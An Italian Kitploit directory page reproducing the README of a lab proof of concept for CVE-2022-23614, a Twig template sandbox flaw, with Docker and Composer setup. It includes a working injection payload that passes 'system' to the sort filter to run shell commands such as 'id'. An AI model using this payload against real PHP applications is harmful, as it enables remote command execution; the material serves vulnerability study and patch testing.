Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-23614 — Prova di concetto per CVE-2022-23614 (iniezione di comandi in Twig) | Kitploit
Strumenti/GitHubGitHub/4rtamis/cve-2022-23614
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

Prova di concetto per CVE-2022-23614 (iniezione di comandi in Twig)

Vedi Repository
13 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-23614

Proof of concept (PoC) per CVE-2022-23614 menzionato in DSA-5107-1.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

Spiegazione

Twig è un motore di template per PHP flessibile, veloce e sicuro. In particolare, è possibile utilizzare i filtri in un template prima di renderizzarlo. Il filtro sort può essere utilizzato per ordinare gli elementi di un array con la seguente struttura:

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig dispone di una modalità sandbox per valutare codice template non attendibile. Quando è in questa modalità sandbox, il parametro arrow del filtro sort deve essere una closure per evitare che gli aggressori possano eseguire funzioni PHP arbitrarie. Nelle versioni interessate, questo vincolo non era applicato correttamente e poteva portare all'iniezione di codice PHP arbitrario.

root@kitploit:~
{{ ["id",""]|sort('system') }}

Utilizzo

Questo PoC illustra la vulnerabilità in due diversi casi d'uso: utilizzando il pacchetto Debian php-twig (v2.14.1) oppure il modulo Composer twig/twig (v2.14).

Il file index.php costruisce un template Twig basandosi sul primo argomento. Nel codice seguente, argv[1] è il nome della funzione di ordinamento che verrà utilizzata da Twig durante il rendering.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

Quindi, index.php utilizzerà due funzioni deprecate di Twig per caricare il template generato. Infine, usa il secondo argomento (argv[2]) per passare dati al template durante il rendering, in particolare l'array args che vogliamo ordinare.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

Il template renderizzato viene poi stampato sull'output standard.

Si prega di notare che questo repository è stato creato solo a scopo dimostrativo. È pensato per essere semplice da capire e facile da usare per giocare con la CVE utilizzando solo un'interfaccia a riga di comando. È molto lontano da ciò che si può trovare su un server vulnerabile reale.

php-twig

Usando Docker, possiamo ricreare il contesto dell'originale Debian Security Advisory (DSA). Puoi usare lo script build-docker.sh fornito per compilare ed eseguire correttamente il contenitore vulnerabile.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

Il contenitore dovrebbe spegnersi una volta eseguito il payload (un comando id). Se vuoi provare i tuoi comandi, puoi eseguire il contenitore in modalità interattiva:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

Una volta dentro il contenitore, puoi creare il tuo payload usando il seguente modello:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

Questo dockerfile è stato parzialmente creato utilizzando DECRET.

Composer

Se hai già php e Composer installati sulla tua macchina, puoi replicare l'exploit utilizzando il modulo Composer vulnerabile.

root@kitploit:~
cd exploit
composer install

Poi devi solo giocare con il payload.

root@kitploit:~
php index.php system '{"args":["id",""]}'

Riferimenti

Dettagli CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

Commit della patch: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

PoC by davwwwx (usando GUI): https://github.com/davwwwx/CVE-2022-23614

Scarica lo strumento